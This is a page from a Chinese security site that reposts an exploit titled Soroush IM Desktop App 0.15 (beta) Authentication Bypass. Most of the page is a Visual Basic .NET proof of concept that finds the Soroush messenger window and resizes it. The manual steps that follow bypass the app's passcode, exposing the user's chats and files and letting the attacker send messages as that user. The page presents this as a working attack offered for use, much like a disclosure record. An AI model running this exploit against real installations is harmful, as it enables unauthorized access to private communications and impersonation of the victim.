首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Soroush IM Desktop App 0.15 (beta) - Authentication Bypass
来源:vfocus.net 作者:VortexNeoX64 发布时间:2018-06-28  
# Exploit Title: Soroush IM Desktop app 0.15 - Authentication Bypass
# Date: 2018-06-13
# Exploit Author: VortexNeoX64
# Vendor Homepage: https://soroush-app.ir
# Software Link: https://soroush-app.ir/UploadedData/Soroush.exe
# Version: 0.15 BETA
# Tested on: Windows 10 1803
 
# Security Issue:
# Attackers can unlock the client app installed on Windows OS(others?) without the passcode
# and access to all the files, chats, images, and etc.
# the attacker can then send, receive message of any kind on the behalf of the authorized user.
 
# PoC (.NET 4.0 Visual Basic)
 
''make sure before running this exploit the Soroush Messager window is NOT  minimized
''adding  InteropServices for DLLImport
Imports System.Runtime.InteropServices   
Module Module1
    
''FindWindow API from user32.dll to get the window handler by lpWindowName
    <DllImport("user32.dll", SetLastError:=True)>
    Private Function FindWindow(lpClassName As String, lpWindowName As String) As IntPtr
    End Function
''MoveWindow API from user32.dll to move and resize the window to trigger the bypass process
    <DllImport("user32.dll", SetLastError:=True)> Private Function MoveWindow(hWnd As IntPtr, X As Integer, Y As Integer,
    nWidth As Integer, nHeight As Integer, bRepaint As Boolean) As Boolean
    End Function
    Sub Main()
        Try
            Console.WriteLine("<<<<<Soroush IM Desktop GUI misbehaviour leads to passcode bypass>>>>> ")
            Console.WriteLine("****** Developer: NeoVortex")
            Console.WriteLine("****** Client Version 0.15 BETA")
            Console.WriteLine("****** Tested on windows 10 1803")
            Console.WriteLine("[****] Make sure the Messager windows is not minimized ")
            Console.WriteLine("[Press any key to start the exploit...]")
            Console.ReadKey()
            Dim pss() As Process = Process.GetProcessesByName("Soroush")
            Dim hWnd As IntPtr = FindWindow(Nothing, "Soroush")
'' check if the app is running
            If (pss.Count > 0) Then
                Console.WriteLine("[****] Process found with id: " & pss(0).Id)
                Console.WriteLine("[****] Process File " & pss(0).MainModule.FileName)
                Console.WriteLine("[****] Resizing to trigger the vulnerability.....")
'' move and resize the window
                MoveWindow(hWnd, 100, 100, 100, 100, True)
                Console.WriteLine("[****] Done")
                Console.WriteLine("[****] Now close the Soroush messager windows via X button (NOT via system tray) , then reopen it ")
                Console.WriteLine("[****] Passcode will be bypassed! ")
'' now you should close the exploit window and then close the Soroush messager window manually via X button(NOT FROM SYSTEM TRAY) because the Soroush messager window dose not support WM_CLOSE signal for the single window closing
''if anyone could close the GUI window without accually killing the app, he/she is welcome at gitub link below.
            Else
''app is not ruuning
                Console.WriteLine("[----]Process not found ")
            End If
            Console.ReadKey()
 
        Catch ex As Exception
            Beep()
            MsgBox(ex.Message, 16)
            Console.ReadKey()
        End Try
    End Sub
 
End Module
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·rtorrent 0.9.6 - Denial of Ser
·Nikto 2.1.6 - CSV Injection
·DHCP Client - Command Injectio
·Pale Moon Browser < 27.9.3 - U
·glibc - 'realpath()' Privilege
·Audiograbber 1.83 - Local Buff
·WebKitGTK+ < 2.21.3 - 'WebKitF
·IPConfigure Orchid VMS 2.0.5 -
·Gnome Web (Epiphany) Denial Of
·Opencart < 3.0.2.0 - Denial of
·Chrome V8 PromiseAllResolveEle
·Foxit Reader 9.0.1.1049 - Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved